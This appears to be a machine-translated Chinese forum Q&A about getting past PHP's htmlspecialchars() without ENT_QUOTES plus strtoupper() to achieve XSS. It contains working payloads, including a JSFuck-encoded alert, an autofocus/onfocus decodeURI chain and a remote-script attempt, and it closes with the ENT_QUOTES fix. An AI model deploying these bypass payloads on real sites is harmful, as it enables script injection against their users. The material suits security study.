XSS 绕过 strtoupper 和 htmlspecialchars

信息安全 php xss
2021-08-18 09:12:09

我已经研究了一些渗透测试,但以下内容让我望而却步,我想我已经掌握了它,但我无法触发它!

试图绕过以下内容:

$strippedID = htmlspecialchars($ID);
$NEWID = strtoupper($strippedID);
...
echo "Tag ID: <input type='text' value='".$NEWID."'>";

到目前为止,我已经尝试过:

test-xss.php?id=%27%20onload=%27javascript:alert(`XSS`)

这不起作用,因为警报功能已更改为大写,因此在控制台中会引发错误。我也尝试过对整个请求参数进行编码。

test-xss.php?id=x%27%3E%3CSCRIPT%20SRC=http://xss.rocks/xss.js%3E%3C/SCRIPT%3E%3Ci%20z=%27x

这似乎不想工作,因为即使 <> 被编码,它们似乎仍然显示为 & lt; 和>

也许唯一的攻击是字符集 UTF-7?

有任何想法吗?

1个回答

您的参数$ID打印在 HTML 标记属性值内。不幸的是,它应该通过htmlspecialchars()它来编码 HTML 有效字符。由于该函数没有ENT_QUOTES设置标志,它将转义<, >, &, ",但不会转义'(单引号)。幸运的是,值是用这样的单引号括起来的,所以你可以用它'来突破属性。

接下来,您想要关闭标签并开始一个新标签(例如<script>),但htmlspecialchars()不允许您这样做(因为它会转义><)。因此,您必须使用适用于<input>标签的事件处理程序onload事件处理程序并不适用于输入框,但你可以使用别人,例如onmouseover(副作用是您将需要最少的用户交互来触发 XSS,或者需要利用其他属性,例如autofocus在页面加载时立即触发它。)

所以我们有这个:

<input type='text' value=' ' onmouseover='(javascript payload) '>
                          |------------- $ID --------------|

现在,您不能只使用普通的 JSalert(1)作为有效负载,因为该值也会运行,这会将无效strtoupper()的函数名称大写。ALERT(1)相反,您需要找到只使用大写字母的 JS 代码,甚至更好,完全不使用任何字母。为此,您可以使用JSFuck 之类的工具将任何 JS 代码转换为不带任何字母的等效表示。

例如,alert(1)变为:

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

所以,这将是一个有效的 XSS PoC:

' onmouseover='[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

如果使用 JSFuck 对您来说是不切实际的(例如,由于@chefarov 所说的 URL 长度限制),还有其他技术可以在没有小写字母的情况下使用。例如,属性值可以完全作为 HTML 实体放置,以便将aofalert写成&#X61;等等。(在您的特定情况下,您不能使用它,因为htmlspecialchars()也会逃避任何&.)

然而,这是一个避免小写字母的较短有效负载的 PoC:

xss.php?xss='+autofocus+onfocus=U%3D[][[]]%2B''%3BY%3D[][U[4]%2BU[5]%2BU[6]%2BU[8]]%3BX%3DY%2B''%3BT%3D(!![]%2B'')%3BF%3D(![]%2B'')%3BZ%3DU[8]%2BU[3]%2BX[30]%2BX[31]%2BU[8]%2BU[3]%2B'URI'%3BG%3DY[X[3]%2BX[6]%2BX[2]%2BF[3]%2BT[0]%2BT[1]%2BT[2]%2BX[3]%2BT[0]%2BX[31]%2BT[1]]%3BG(U[3]%2BX[27]%2BF[1]%2BF[2]%2B'('%2BZ%2B'(`%2561%256C%2565%2572%2574%2528%2527%2578%2573%2573%2527%2529`))')()//

(我基本上是在Function(eval(decodeURI(...)))没有小写字母的情况下进行组装,然后可以将实际的有效载荷 URL 编码(例如a=> %61)提供给它,它从不需要小写字母。)


修复

ENT_QUOTES您应该通过添加标志来编码双引号和单引号:

$NEWID = strtoupper(htmlspecialchars($ID, ENT_QUOTES ));